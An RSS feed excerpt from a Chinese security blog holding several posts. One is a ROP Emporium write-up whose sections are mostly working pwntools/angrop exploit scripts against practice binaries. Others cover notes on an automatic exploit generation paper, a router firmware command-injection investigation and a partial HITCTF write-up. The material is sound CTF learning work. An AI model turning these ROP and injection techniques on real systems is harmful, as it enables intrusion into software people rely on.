 elif check_define __OpenBSD__ ; then</code></pre><p>接下来就是“正常逻辑先跑通，再换 wasm target”。在 wasm 里几乎要 hook 掉所有 syscall（其实是 libc call 或类似接口）去伪造环境。我这边是在 got.plt 的跳转点加 code_hook，再按符号名分发：</p><pre><code class="language-rust" data-language="rust">for i in 0..IMPORT_LIBRARY_COUNT {
            let base = IMPORT_ADDRESS + (i as u64) * IMPORT_LIBRARY_STRIDE;
            uc.mem_map(base, as_usize(IMPORT_SIZE)?, Permission::ALL)?;

            let mut stubs = vec![0_u8; IMPORT_SIZE as usize];
            for chunk in stubs.chunks_mut(4) {
                chunk.copy_from_slice(&amp;RET_AARCH64);
            }
            uc.mem_write(base, &amp;stubs)?;

            uc.add_code_hook(base, base + IMPORT_SIZE - 1, |uc, address, _| {
                if let Err(err) = dispatch_import_stub(uc, address) {
                    debug_print(format!(&#34;import hook failed at 0x{address:X}: {err}&#34;));
                    let _ = uc.emu_stop();
                }
            })?;
}


pub fn dispatch_import_stub(uc: &amp;mut Unicorn&lt;&#39;_, RuntimeState&gt;, address: u64) -&gt; Result&lt;(), VmError&gt; {
  if address &lt; IMPORT_ADDRESS {
    return Err(VmError::InvalidImportAddress(address));
  }

  let offset = address - IMPORT_ADDRESS;
  let library_index = (offset / IMPORT_LIBRARY_STRIDE) as usize;
  let symbol_index = ((offset % IMPORT_LIBRARY_STRIDE) / 4) as usize;

  let symbol_name = {
    let state = uc.get_data();
    let library = state
      .loaded_libraries
      .get(library_index)
      .ok_or(VmError::LibraryNotLoaded(library_index))?;

    let symbol = library
      .symbols
      .get(symbol_index)
      .ok_or_else(|| VmError::SymbolIndexOutOfRange {
        library: library.name.clone(),
        index: symbol_index,
      })?;

    symbol.name.clone()
  };

  handle_stub_by_name(uc, &amp;symbol_name)
}

fn handle_stub_by_name(
  uc: &amp;mut Unicorn&lt;&#39;_, RuntimeState&gt;,
  symbol_name: &amp;str,
) -&gt; Result&lt;(), VmError&gt; {
  match symbol_name {
    &#34;malloc&#34; =&gt; stub_malloc(uc),
    &#34;free&#34; =&gt; stub_free(uc),
    &#34;strncpy&#34; =&gt; stub_strncpy(uc),
    &#34;mkdir&#34; =&gt; stub_mkdir(uc),
    &#34;umask&#34; =&gt; stub_umask(uc),
    &#34;chmod&#34; =&gt; stub_chmod(uc),
    &#34;lstat&#34; =&gt; stub_lstat(uc),
    &#34;fstat&#34; =&gt; stub_fstat(uc),
    &#34;open&#34; =&gt; stub_open(uc),
    &#34;ftruncate&#34; =&gt; stub_ftruncate(uc),
    &#34;read&#34; =&gt; stub_read(uc),
    &#34;write&#34; =&gt; stub_write(uc),
    &#34;close&#34; =&gt; stub_close(uc),
    &#34;dlopen&#34; =&gt; stub_dlopen(uc),
    &#34;dlsym&#34; =&gt; stub_dlsym(uc),
    &#34;dlclose&#34; =&gt; stub_dlclose(uc),
    &#34;pthread_once&#34; =&gt; stub_return_zero(uc),
    &#34;pthread_create&#34; =&gt; stub_return_zero(uc),
    &#34;pthread_mutex_lock&#34; =&gt; stub_return_zero(uc),
    &#34;pthread_rwlock_unlock&#34; =&gt; stub_return_zero(uc),
    &#34;pthread_rwlock_destroy&#34; =&gt; stub_return_zero(uc),
    &#34;pthread_rwlock_wrlock&#34; =&gt; stub_return_zero(uc),
    &#34;pthread_rwlock_init&#34; =&gt; stub_return_zero(uc),
    &#34;pthread_mutex_unlock&#34; =&gt; stub_return_zero(uc),
    &#34;pthread_rwlock_rdlock&#34; =&gt; stub_return_zero(uc),
    &#34;gettimeofday&#34; =&gt; stub_gettimeofday(uc),
    &#34;__errno&#34; =&gt; stub_errno_location(uc),
    &#34;__system_property_get&#34; =&gt; stub_system_property_get(uc),
    &#34;arc4random&#34; =&gt; stub_arc4random(uc),
    other =&gt; {
      debug_print(other);
      Err(VmError::UnhandledImport(other.to_string()))
    }
  }
}</code></pre><p>Hook 出来之后，剩下就是“按需补 stub”。</p><p>顺带一提：hook 里只有时间是变量，如果时间不变，生成的 OTP 也会稳定一致。</p><p>另外，cargo 编译这块我用 <code>.cargo/pkg-config.toml</code> 强行指定链接地址：</p><pre><code class="language-toml" data-language="toml">[env]
PKG_CONFIG_ALLOW_CROSS = &#34;1&#34;
PKG_CONFIG_PATH = { value = &#34;.cargo/pkgconfig&#34;, relative = true }

[target.wasm32-unknown-emscripten]
rustflags = [
  &#34;-C&#34;,
  &#34;link-arg=--no-entry&#34;,
  &#34;-C&#34;,
  &#34;link-arg=-sSTANDALONE_WASM=1&#34;,
  &#34;-C&#34;,
  &#34;link-arg=-sALLOW_MEMORY_GROWTH=1&#34;,
  &#34;-C&#34;,
  &#34;link-arg=-sINITIAL_MEMORY=268435456&#34;,
]</code></pre><pre><code class="language-toml" data-language="toml">prefix=${pcfiledir}/../../../unicorn
exec_prefix=${prefix}
libdir=${exec_prefix}/build
includedir=${exec_prefix}/include

Name: unicorn
Description: Unicorn engine static library (wasm build)
Version: 2.1.1
Libs: -L${libdir} -lunicorn -lunicorn-common -laarch64-softmmu -larm-softmmu
Cflags: -I${includedir}</code></pre><p>经过一天愉快的调试，本地rust跑通了！</p><p>接下来就build emscripten runtime的wasm了！</p><p>然后就遇到了程序员经典玄学问题之：<s>为什么它能跑？为什么它不能跑？</s>是 wasm 环境里“同样代码跑不通”。先确认一个前提：问题不在 unicorn 本体上，只可能是 wasm 相关改动。于是用对拍 + 手动 hook register 的方式确认逻辑能完整跑通，然后再把这些调试逻辑清理掉。</p><p>做法也挺朴素：固定所有输入（时间 + device token），每 1k 次输出一次寄存器快照，用脚本找差异，缩小区间。<s>原来这就是 Baby Step Giant Step 对拍啊 XD。</s></p><p>第一个坑是 UMULH：应该做 <code>(x1 * x2) &gt;&gt; 64</code>，结果不对。把问题丢给 codex 读了一通，发现是 TCI 的 wasm ABI helper 参数截断。修掉后 UMULH 正常。</p><p>第二个坑在内存读取：某些地址读不对。于是我在 Python 版和 Rust wasm 版同一位置加 code hook / mem read hook，定位读地址，再回溯到上一次写地址，dump 一下内存，问题就清楚了。</p><p>最后发现是 mmap 的 wasm 实现用了 aligned_alloc，但和原版语义不一致：</p><pre><code class="language-c++" data-language="c++">size_t total = size + align - getpagesize();
return aligned_alloc(align, size);</code></pre><p>没考虑 round-up，于是改成这样：</p><pre><code class="language-c++" data-language="c++">if (!is_power_of_2(align)) return NULL;
size_t rounded = (size + align - 1) &amp; ~(align - 1);
void *p = aligned_alloc(align, rounded);
return p;</code></pre><p><a href="https://github.com/lbr77/unicorn/commit/4de7c20ba8a7119405b3e0e8b82862efc70bda45#diff-842456abe9564ae1e7d75ab8f322be6c27ca3c512e445a18e5898dea68ad9799">https://github.com/lbr77/unicorn/commit/4de7c20ba8a7119405b3e0e8b82862efc70bda45#diff-842456abe9564ae1e7d75ab8f322be6c27ca3c512e445a18e5898dea68ad9799</a></p><p>最后修改后的代码在这里，方便参考：</p><p><a href="https://github.com/lbr77/anisette-js/" rel="nofollow noreferrer" target="_blank">https://github.com/lbr77/anisette-js/</a></p><p>后面的签名部分还没完全调通，等我折腾完了再更新ww。</p>]]></content:encoded>
            <author>me@nvme0n1p.dev (LiBr)</author>
            <enclosure length="0" type="image/png" url="https://nvme0n1p.dev/images/og/altstore-to-frontend.png" />
        </item>
        <item>
            <title><![CDATA[rop emporium题解]]></title>
            <link>https://nvme0n1p.dev/posts/rop-emporium-wp</link>
            <guid isPermaLink="false">https://nvme0n1p.dev/posts/rop-emporium-wp</guid>
            <pubDate>Sun, 11 Jan 2026 06:17:54 GMT</pubDate>
            <description><![CDATA[]]></description>
            <content:encoded><![CDATA[<p>misc是没前途的！是时候开始重新学下pwn了！</p><h3 id="ret2win">ret2win</h3><figure><img src="https://cdn.nvme0n1p.dev/2026/07/f93e6714377a8f02693f84d1e7e7d6cd.webp" width="2034" height="498" /></figure><p>最简单的栈溢出，没有任何保护</p><p>给了一个shell，直接写shell地址就好。</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/b33b600c3467f62c2c9e2baccd8c2a51.webp" width="1492" height="1054" /></figure><pre><code class="language-python" data-language="python">from pwn import *
context.log_level = &#34;debug&#34;
elf = ELF(&#34;./ret2win&#34;)

p = process([&#34;orb&#34;, &#34;./ret2win&#34;])
payload = b&#34;A&#34; * 0x28 + p64(elf.symbols[&#34;ret2win&#34;])
p.sendlineafter(b&#34;&gt; &#34;, payload)
p.interactive()</code></pre><figure><img src="https://cdn.nvme0n1p.dev/2026/07/4f90216b0832b85dab2a9ac815dcc775.webp" width="1564" height="700" /></figure><h3 id="split">split</h3><p>这里是一样的，多了一个string地址，需要用pop方式清空掉rdi，然后再调用。</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/295dd22fea5ed7e096b042e359e65017.webp" width="776" height="192" /></figure><p>所以rop链是什么？把返回地址覆盖掉，程序会依次调到你构造的rop地址然后（ret; gadget加上之后会返回到原来的地址）。</p><p>这里尝试用一下angrop，感觉未来做普通rop题都能用了。</p><pre><code class="language-python" data-language="python">from pwn import *
import angr, angrop
from multiprocessing import cpu_count
cpu_num = cpu_count()
if __name__ == &#34;__main__&#34;:
    p = angr.Project(&#34;./split&#34;, auto_load_libs=False)
    rop = p.analyses.ROP()
    cache = &#34;./angrop.cache&#34;
    if os.path.exists(cache):
        rop.load_gadgets(cache, optimize=False)
    else:
        rop.find_gadgets(processes=cpu_num, optimize=False)
        rop.save_gadgets(cache)
    ch = rop.set_regs(rdi=0x601060) + \
            rop.func_call(0x400560, [])
    
    print(ch.payload_code())
    chain = b&#34;&#34;
    chain += p64(0x4007c3)  # pop rdi; ret 
    chain += p64(0x601060)
    chain += p64(0x400560)  # &lt;func_0x40074b&gt;
    p = process([&#34;orb&#34;, &#34;./split&#34;])
    p.sendlineafter(b&#34;&gt; &#34;, b&#34;A&#34; * 0x28 + chain)
    p.interactive()</code></pre><h3 id="callme">callme</h3><p>这个明显可以直接逆向了（）</p><p>但是如果要用程序自执行的话，我们需要依次调用so文件里的callme_one, callme_two, callme_three。</p><pre><code class="language-python" data-language="python">import angr, angrop
import logging
logging.getLogger().handlers.clear()
logging.basicConfig(level=logging.CRITICAL)

from pwn import *
context.log_level = &#34;error&#34;

if __name__ == &#34;__main__&#34;:
        
    elf = angr.Project(&#34;./callme&#34;, auto_load_libs=True)
    ELF = ELF(&#34;./callme&#34;)
    rop = elf.analyses.ROP()
    rop.find_gadgets()
    cache = &#34;./angrop.cache&#34;
    if os.path.exists(cache):
        rop.load_gadgets(cache, optimize=False)
    else:
        rop.find_gadgets(optimize=False)
        rop.save_gadgets(cache)
    callme_one = ELF.symbols[&#34;callme_one&#34;]
    callme_two = ELF.symbols[&#34;callme_two&#34;]
    callme_three = ELF.symbols[&#34;callme_three&#34;]
    print(f&#34;callme_one: {hex(callme_one)}&#34;)
    print(f&#34;callme_two: {hex(callme_two)}&#34;)
    print(f&#34;callme_three: {hex(callme_three)}&#34;)
    ch = rop.func_call(callme_one, [0xDEADBEEFDEADBEEF, 0xCAFEBABECAFEBABE, 0xD00DF00DD00DF00D]) + \
         rop.func_call(callme_two, [0xDEADBEEFDEADBEEF, 0xCAFEBABECAFEBABE, 0xD00DF00DD00DF00D]) + \
         rop.func_call(callme_three, [0xDEADBEEFDEADBEEF, 0xCAFEBABECAFEBABE, 0xD00DF00DD00DF00D])
    print(ch.payload_code())
    p = process([&#34;orb&#34;, &#34;./callme&#34;])
    p.sendlineafter(b&#34;&gt; &#34;, b&#34;A&#34; * 0x28 + ch.payload_str())
    p.interactive()</code></pre><h3 id="write4">write4</h3><p>需要把文件名写到bss段里。</p><p>不过有了angrop的话，想来以后rop题基本上找到leak就能直接出了吧。</p><pre><code class="language-python" data-language="python">import angr, angrop
from pwn import *
context.log_level = &#34;error&#34;
if __name__ == &#34;__main__&#34;:
    elf = angr.Project(&#34;./write4&#34;, auto_load_libs=True)
    ELF = ELF(&#34;./write4&#34;)
    rop = elf.analyses.ROP()
    rop.find_gadgets(processes=1)
    cache = &#34;./angrop.cache&#34;
    if os.path.exists(cache):
        rop.load_gadgets(cache, optimize=False)
    else:
        rop.find_gadgets(optimize=False)
        rop.save_gadgets(cache)
    bss = ELF.bss()
    print(bss)
    chain = rop.write_to_mem(bss + 0x0, b&#34;flag.txt&#34;) + \
            rop.func_call(ELF.symbols[&#34;print_file&#34;], [bss])
    print(chain)

    payload = b&#34;A&#34; * 0x28 + chain.payload_str()
    p = process([&#34;orb&#34;, &#34;./write4&#34;])
    p.sendline(payload)
    p.interactive()</code></pre><h3 id="badchars">badchars</h3><p>加了过滤，我们随便写一段字符串然后用xor放进去就行。</p><p>这里xor是我自己改出来的（，可能交个pr给angrop？</p><pre><code class="language-python" data-language="python">import os
import angr
import angrop  # noqa: F401
from pwn import *

context.log_level = &#34;error&#34;

if __name__ == &#34;__main__&#34;:
    proj = angr.Project(&#34;./badchars&#34;, auto_load_libs=False)
    elf = ELF(&#34;./badchars&#34;)

    rop = proj.analyses.ROP()
    rop.set_badbytes([ord(&#34;x&#34;), ord(&#34;g&#34;), ord(&#34;a&#34;), ord(&#34;.&#34;)])

    cache = &#34;./angrop.cache&#34;
    if os.path.exists(cache):
        rop.load_gadgets(cache, optimize=False)
    else:
        rop.find_gadgets(optimize=False)
        rop.save_gadgets(cache)

    bss = elf.bss()
    print(f&#34;.bss addr: {hex(bss)}&#34;)

    bad_chars = {ord(&#34;x&#34;), ord(&#34;g&#34;), ord(&#34;a&#34;), ord(&#34;.&#34;)}
    data =     b&#34;flag.txt&#34;
    new_data = b&#34;flbhbtyt&#34;
    chain = rop.write_to_mem(bss, new_data)
    for i in range(len(data)):
        if data[i] in bad_chars:
            chain += rop.xor_mem(bss + i, data[i] ^ new_data[i], data_size=8)
    chain += rop.func_call(elf.symbols[&#34;print_file&#34;], [bss])
    print(chain)
    payload = b&#34;A&#34; * 0x28 + chain.payload_str()
    p = process([&#34;orb&#34;, &#34;./badchars&#34;])
    p.sendline(payload)
    p.interactive()
</code></pre><h3 id="fluff">fluff</h3><p>这个看起来自动化不太能做。用了很多奇怪的指令并不是常见的东西。当然比赛一般不会这么搞，所以还是手搓下吧。</p><p>xlat：以al为偏移，索引bx指向内存中的字节，可以用来从内存里取字节，需要al和bx的值可控</p><p>bextr：位域索引，第一个源操作数是原数据，第二个源操作数是索引开始位置（8位）和长度，这里可以控制rbx的值</p><p>stosb可以保存1个字节从al到rdi指向的地址，rdi可以控制，设置为随便一个可写地址就行。不给代码了可以去看别人写的。我写得好烂</p><h3 id="pivot">pivot</h3><figure><img src="https://cdn.nvme0n1p.dev/2026/07/e54eddb5fddce897397522be92b75e4b.webp" width="1466" height="622" /></figure><p>这里给了个堆指针 + 一个短很多的栈溢出。所以我们需要ret2heap，然后heap上写我们的rop chain。需要注意我们现在没有ret2win的地址（在so里面），需要用foothold_function打印plt表。</p><p>注意这里是一种新方法：因为第二次输入的只有0x40，不够覆盖太多内容，我们需要把栈迁移到第一次输入的地方然后再执行。</p><p>唉，写poc还是太麻烦了。</p><pre><code class="language-python" data-language="python">
from pwn import *
context.log_level = &#34;error&#34;
import os
import angr
import angrop  # noqa: F401
context.terminal = [&#34;tmux&#34;, &#34;splitw&#34;, &#34;-h&#34;]

if __name__ == &#34;__main__&#34;:
    proj = angr.Project(&#34;./pivot&#34;, auto_load_libs=False)
    elf = ELF(&#34;./pivot&#34;)
    lib = ELF(&#34;./libpivot.so&#34;)
    rop = proj.analyses.ROP()

    cache = &#34;./angrop.cache&#34;
    if os.path.exists(cache):
        rop.load_gadgets(cache, optimize=False)
    else:
        rop.find_gadgets(optimize=False)
        rop.save_gadgets(cache)

    p = process([&#34;orb&#34;, &#34;qemu-x86_64&#34;,  &#34;./pivot&#34;])
    p.recvuntil(b&#34;pivot: &#34;)
    pivot_addr = int(p.recvline().strip(), 16)
    print(f&#34;pivot address: {hex(pivot_addr)}&#34;)
    bss = elf.bss()
    print(f&#34;.bss addr: {hex(bss)}&#34;)
    chain_heap = rop.func_call(elf.symbols[&#34;foothold_function&#34;], [])
    chain_heap += rop.func_call(elf.symbols[&#34;puts&#34;], [elf.got[&#34;foothold_function&#34;]]) # then recv plt table -&gt; get ret2win
    chain_heap += rop.func_call(elf.symbols[&#34;main&#34;], []) # return to main to read again
    print(chain_heap)
    p.sendlineafter(b&#34;&gt; &#34;, chain_heap.payload_str())
    chain_stack1 = rop.pivot(pivot_addr  + 0x8)

    print(chain_stack1)
    p.sendlineafter(b&#34;&gt; &#34;, b&#34;A&#34; * 0x28 + chain_stack1.payload_str())
    p.recvuntil(b&#34;foothold_function(): Check out my .got.plt entry to gain a foothold into libpivot\n&#34;)
    leaked = p.recvuntil(b&#34;\n&#34;, drop=True)
    leaked = u64(leaked.ljust(8, b&#34;\x00&#34;))
    print(f&#34;leaked foothold_function addr: {hex(leaked)}&#34;)
    libpivot_foothold = lib.symbols[&#34;foothold_function&#34;]
    libpivot_ret2win = lib.symbols[&#34;ret2win&#34;]
    offset = libpivot_ret2win - libpivot_foothold
    ret2win_addr = leaked + offset
    print(f&#34;ret2win addr: {hex(ret2win_addr)}&#34;)
    chain_heap2 = rop.func_call(ret2win_addr, [])
    print(chain_heap2)
    p.sendlineafter(b&#34;&gt; &#34;, chain_heap.payload_str())
    p.sendlineafter(b&#34;&gt; &#34;, b&#34;A&#34; * 0x28+ chain_heap2.payload_str())
    print(p.recvall(timeout=1).decode())</code></pre><h3 id="ret2scu">ret2scu</h3><p>这个就似乎不太能用angrop这种自动化工具了（当然比赛也很少有这种苛刻的条件吧？）</p><p>需要先用下面的pop设置寄存器，在用上面的680开始的一段设置rdx和rax。</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/7ed1f1c7a2f7164bb28a3f13c8e726b5.webp" width="1892" height="1168" /></figure><pre><code class="language-python" data-language="python">from pwn import *
context.log_level = &#34;error&#34;
import os
import angr
import angrop  # noqa: F401
context.terminal = [&#34;tmux&#34;, &#34;splitw&#34;, &#34;-h&#34;]

if __name__ == &#34;__main__&#34;:
    proj = angr.Project(&#34;./ret2csu&#34;, auto_load_libs=False)
    elf = ELF(&#34;./ret2csu&#34;)
    lib = ELF(&#34;./libret2csu.so&#34;)
    rop = proj.analyses.ROP()

    cache = &#34;./angrop.cache&#34;
    if os.path.exists(cache):
        rop.load_gadgets(cache, optimize=False)
    else:
        rop.find_gadgets(optimize=False)
        rop.save_gadgets(cache)
    # chain = rop.set_regs(rdi=0xDEADBEEFDEADBEEF, rsi=0xCAFEBABECAFEBABE, rdx=0xD00DF00DD00DF00D)
    chain = rop.set_regs(rbx=0, rbp=1, r12=0x000000000600E48, r13=0xdeadbeefdeadbeef, r14=0xcafebabecafebabe, r15=0xd00df00dd00df00d)
    chain.add_value(0xdeadbeefdeadbeef)
    chain.add_value(0x400680)
    chain.add_value(0x0)
    chain.add_value(0x0)
    chain.add_value(0x0)
    chain.add_value(0x0)
    chain.add_value(0x0)
    chain.add_value(0x0)
    chain.add_value(0x0)
    chain.add_value(0x4006a3)
    chain += rop.set_regs(rdi=0xDEADBEEFDEADBEEF)
    chain += rop.func_call(elf.symbols[&#34;ret2win&#34;], [])
    print(chain)
    p = process([&#34;orb&#34;,&#34;qemu-x86_64&#34;,&#34;./ret2csu&#34;])
    p.sendlineafter(b&#34;&gt; &#34;,b&#34;A&#34; * 0x28 + chain.payload_str())
    p.interactive()</code></pre>]]></content:encoded>
            <author>me@nvme0n1p.dev (LiBr)</author>
            <category domain="https://nvme0n1p.dev/cats/ti-jie">题解</category>
            <enclosure length="0" type="image/png" url="https://nvme0n1p.dev/images/og/rop-emporium-wp.png" />
        </item>
        <item>
            <title><![CDATA[论文笔记：AEG: Automatic Exploit Generation]]></title>
            <link>https://nvme0n1p.dev/posts/aeg-notes</link>
            <guid isPermaLink="false">https://nvme0n1p.dev/posts/aeg-notes</guid>
            <pubDate>Thu, 08 Jan 2026 15:32:41 GMT</pubDate>
            <description><![CDATA[我去，震撼首发！]]></description>
            <content:encoded><![CDATA[<p>本文是全世界第一篇关于<strong>自动化利用生成</strong>（Automatic Exploit Generation）的论文。实现了如下workflow：</p><p>从源代码出发，自动发现漏洞 → 判断是否可利用 → 自动生成可用的控制流劫持 exploit</p><p>创新点：</p><p>把漏洞利用建模成了形式化问题——漏洞+利用：</p><pre><code>\prod {bug} (\epsilon) \land \prod {exploit} (\epsilon) </code></pre><p><strong>Π_bug</strong>：程序进入不安全状态（如越界写、格式化字符串）</p><p><strong>Π_exploit</strong>：该不安全状态<strong>可被用来劫持控制流</strong>（如覆盖返回地址并跳转到 shellcode）</p><p>最大贡献：</p><p>Preconditioned Symbolic Execution</p><p>在符号执行前加入“可利用性相关的预条件”，只探索“可能 exploitable”的路径</p><p>极大减少状态空间，是 AEG 能跑真实程序的关键原因</p><p>路径搜索优先级：</p><ul><li>有小bug的路径先考虑。</li><li>循环跑满</li></ul><p>系统整体流程：</p><p>源码→ LLVM IR + 二进制（用来算布局等）→ 符号执行找到bug → 动态二进制分析（漏洞buffer地址，返回地址，栈内容）→ 自动构造约束（ret2stack/libc/format string）→ 约束求解 + 实际验证</p><p>缺点：</p><p>只能处理传统漏洞：栈溢出，格式化字符串利用，本地/远程exploit，自动选择shellcode，NOP sled, 栈修复。但不处理ASLR，DEP/NX，PIE / CFI等现代化防护。</p>]]></content:encoded>
            <author>me@nvme0n1p.dev (LiBr)</author>
            <category domain="https://nvme0n1p.dev/tags/ji-shu">技术</category>
            <category domain="https://nvme0n1p.dev/tags/zhi-shi">知识</category>
            <enclosure length="0" type="image/png" url="https://nvme0n1p.dev/images/og/aeg-notes.png" />
        </item>
        <item>
            <title><![CDATA[失败的小米路由器ssh开启尝试]]></title>
            <link>https://nvme0n1p.dev/posts/xiaomi-rd15-ssh-failed</link>
            <guid isPermaLink="false">https://nvme0n1p.dev/posts/xiaomi-rd15-ssh-failed</guid>
            <pubDate>Sun, 04 Jan 2026 02:44:55 GMT</pubDate>
            <description><![CDATA[]]></description>
            <content:encoded><![CDATA[<p>大家新年好呀。</p><p>嗯…因为最近考试快考完了没什么事情干，于是我又手痒了（</p><p>想刷之前买的小米路由器BE3600 2.5G (RD15) 玩。</p><p>第一步当然是开ssh了。本质上就是用rce改命令参数</p><p>网上看到有一个start_binding的洞，之前版本都可以用，于是我也尝试了下：</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/ae395ed02a046e1179cad177d9c0f0a3.webp" width="584" height="45" /></figure><p>不行。</p><p>进行了一系列搜索之后，我知道小米这一套系统是基于openwrt+luci，也就是lua语言为主。也就是我们需要找到一个命令注入，需要exec我们可控并且不被过滤的字符串。</p><p>尝试下了一个最新版本的包，binwalk发现是ubi镜像，于是用这个工具读取‣</p><p>接下来用binwalk直接拆开squashfs文件系统。</p><p>这里面的lua文件是加密了的，但是也有工具可以解开。‣可以去我fork的action里下载构建好的版本。</p><p>GPT写了个脚本，把所有lua改回来了：</p><pre><code class="language-bash" data-language="bash">#!/bin/bash

# 设置颜色输出
GREEN=&#39;\033[0;32m&#39;
RED=&#39;\033[0;31m&#39;
NC=&#39;\033[0m&#39; # No Color

# 输出目录
OUTPUT_DIR=&#34;../decompiled&#34;

# 创建输出目录
mkdir -p &#34;$OUTPUT_DIR&#34;

# 检查unluac.jar是否存在
if [ ! -f &#34;./unluac.jar&#34; ]; then
    echo -e &#34;${RED}错误: unluac.jar 未找到${NC}&#34;
    exit 1
fi

# 统计变量
total=0
success=0
failed=0

# 查找并处理所有.lua文件
while IFS= read -r -d &#39;&#39; file; do
    ((total++))
    
    # 生成输出文件路径
    output_file=&#34;$OUTPUT_DIR/$file&#34;
    
    # 创建输出目录
    mkdir -p &#34;$(dirname &#34;$output_file&#34;)&#34;
    
    # 添加注释并反编译
    if echo &#34;-- Decompiled from: $file&#34; &gt; &#34;$output_file&#34; &amp;&amp; \
       java -jar ./unluac.jar &#34;$file&#34; &gt;&gt; &#34;$output_file&#34; 2&gt;/dev/null; then
        echo -e &#34;${GREEN}✓${NC} $file -&gt; $output_file&#34;
        ((success++))
    else
        echo -e &#34;${RED}✗${NC} 失败: $file&#34;
        rm -f &#34;$output_file&#34;
        ((failed++))
    fi
done &lt; &lt;(find . -type f -name &#34;*.lua&#34; -print0)

# 输出统计信息
echo &#34;&#34;
echo &#34;====== 反编译完成 ======&#34;
echo &#34;总计: $total&#34;
echo -e &#34;${GREEN}成功: $success${NC}&#34;
echo -e &#34;${RED}失败: $failed${NC}&#34;
echo &#34;输出目录: $OUTPUT_DIR&#34;</code></pre><p>定位到了这个函数，重写了下：</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/3c594e3a21236e6949258ce3d35ef794.webp" width="797" height="773" /></figure><p>可以看到上面有过滤，1523是因为被filter了，但是网上相关的内容就是这么做的，历史版本代码也一样，不应该有问题呀？搜了下commonstr，找到了过滤字符串</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/597a0d29d19f982704d7c0737b5ec38f.webp" width="311" height="81" /></figure><p>看上去过滤挺全的。不应该会有漏洞？</p><p>于是找了老版本拆包看看：</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/162f1ea7dc95daf96f4e42f590381700.webp" width="587" height="255" /></figure><p>恍然大悟：老版本没有过滤掉换行拼接，这导致了绕过成功。</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/b0f1a7660d7176fe0f7403e00f0d17e5.webp" width="285" height="188" /></figure><p>看起来小米工程师估计是潜伏在恩山内部的，一看到最新漏洞立马就修了！</p><p>还有没有其他solution？</p><p>不愧是恩山论坛：</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/f3c1ecc96e4e3f2d1340ad4757ec2d42.webp" width="1764" height="1227" /></figure><p>但是我就不试了吧，毕竟现在这一套设备是已经能正常工作了，别添乱了（</p><p>不过感觉源代码里应该还是能有其他命令注入的</p><p>新年第一篇文章就这么愉快的水完了</p>]]></content:encoded>
            <author>me@nvme0n1p.dev (LiBr)</author>
            <category domain="https://nvme0n1p.dev/tags/ji-shu">技术</category>
            <enclosure length="0" type="image/png" url="https://nvme0n1p.dev/images/og/xiaomi-rd15-ssh-failed.png" />
        </item>
        <item>
            <title><![CDATA[2025 HITCTF 题解]]></title>
            <link>https://nvme0n1p.dev/posts/2025-hitctf-wp</link>
            <guid isPermaLink="false">https://nvme0n1p.dev/posts/2025-hitctf-wp</guid>
            <pubDate>Sun, 07 Dec 2025 12:45:36 GMT</pubDate>
            <description><![CDATA[]]></description>
            <content:encoded><![CDATA[<p>不是很想打。孩子学了好多天pwn，真打不动了</p><h3 id="misc">Misc</h3><h4 id="5-layer-fog">5-Layer-Fog</h4><p>赞美chatgpt，我好懒啊</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/783dfc28860e95cb55a53b67bd7001b3.webp" width="946" height="515" /></figure><h4 id="regexbeast">RegexBeast</h4><p>赞美codex，</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/3be430a3dc6af39aad0b1235134d2b98.webp" width="800" height="632" /></figure><pre><code class="language-python" data-language="python">from __future__ import annotations

import re
import sys
from pathlib import Path
from typing import Set, Tuple

ENC_FILE = Path(&#34;enc.txt&#34;)
PNG_OUT = Path(&#34;decoded.png&#34;)


def parse_regex(text: str) -&gt; bytes:
    &#34;&#34;&#34;Parse the specific regex grammar of this challenge into one byte string.&#34;&#34;&#34;

    sys.setrecursionlimit(10_000_000)

    idx = 0
    if text.startswith(&#34;/&#34;):
        idx = 1  # skip leading slash

    def parse_expr(i: int) -&gt; Tuple[Set[str], int]:
        lang, i = parse_term(i)
        langs = [lang]
        while i &lt; len(text) and text[i] == &#34;|&#34;:
            lang2, i = parse_term(i + 1)
            langs.append(lang2)
        union: Set[str] = set()
        for l in langs:
            union.update(l)
        return union, i

    def parse_term(i: int) -&gt; Tuple[Set[str], int]:
        if i &gt;= len(text) or text[i] in &#34;)|/&#34;:
            return {&#34;&#34;}, i
        lang_factor, is_lookahead, i = parse_factor(i)
        lang_rest, i = parse_term(i)
        if is_lookahead:
            # (?=...) means intersection with the rest of the pattern
            inter = lang_rest &amp; lang_factor
            return inter, i
        combined: Set[str] = set()
        for a in lang_factor:
            for b in lang_rest:
                combined.add(a + b)
        return combined, i

    def parse_factor(i: int) -&gt; Tuple[Set[str], bool, int]:
        if text[i] == &#34;(&#34;:
            kind = text[i + 1 : i + 3]
            if kind == &#34;?:&#34;:  # non-capturing grouping
                lang, j = parse_expr(i + 3)
                assert text[j] == &#34;)&#34;
                return lang, False, j + 1
            if kind == &#34;?=&#34;:  # positive lookahead
                lang, j = parse_expr(i + 3)
                assert text[j] == &#34;)&#34;
                return lang, True, j + 1
            raise ValueError(f&#34;unexpected group type at {i}&#34;)

        # literal run of \xHH bytes
        out = []
        while i &lt; len(text) and text[i] not in &#34;()|&#34;:
            if text[i] == &#34;\\&#34; and text[i + 1] == &#34;x&#34;:
                out.append(chr(int(text[i + 2 : i + 4], 16)))
                i += 4
            elif text[i] == &#34;\\&#34;:
                out.append(text[i + 1])
                i += 2
            else:
                out.append(text[i])
                i += 1
        return {&#34;&#34;.join(out)}, False, i

    lang_final, end_idx = parse_expr(idx)
    if text[end_idx : end_idx + 1] == &#34;/&#34;:
        end_idx += 1
    if end_idx != len(text):
        raise ValueError(&#34;did not consume full regex&#34;)
    if len(lang_final) != 1:
        raise ValueError(f&#34;expected single result, got {len(lang_final)}&#34;)
    return next(iter(lang_final)).encode(&#34;latin1&#34;)


def main() -&gt; None:
    text = ENC_FILE.read_text()
    png_bytes = parse_regex(text)
    PNG_OUT.write_bytes(png_bytes)
    print(f&#34;Wrote {PNG_OUT} ({len(png_bytes)} bytes)&#34;)

    # Optional QR decode if pyzbar is installed
    try:
        from pyzbar.pyzbar import decode
        from PIL import Image

        res = decode(Image.open(PNG_OUT))
        if res:
            for r in res:
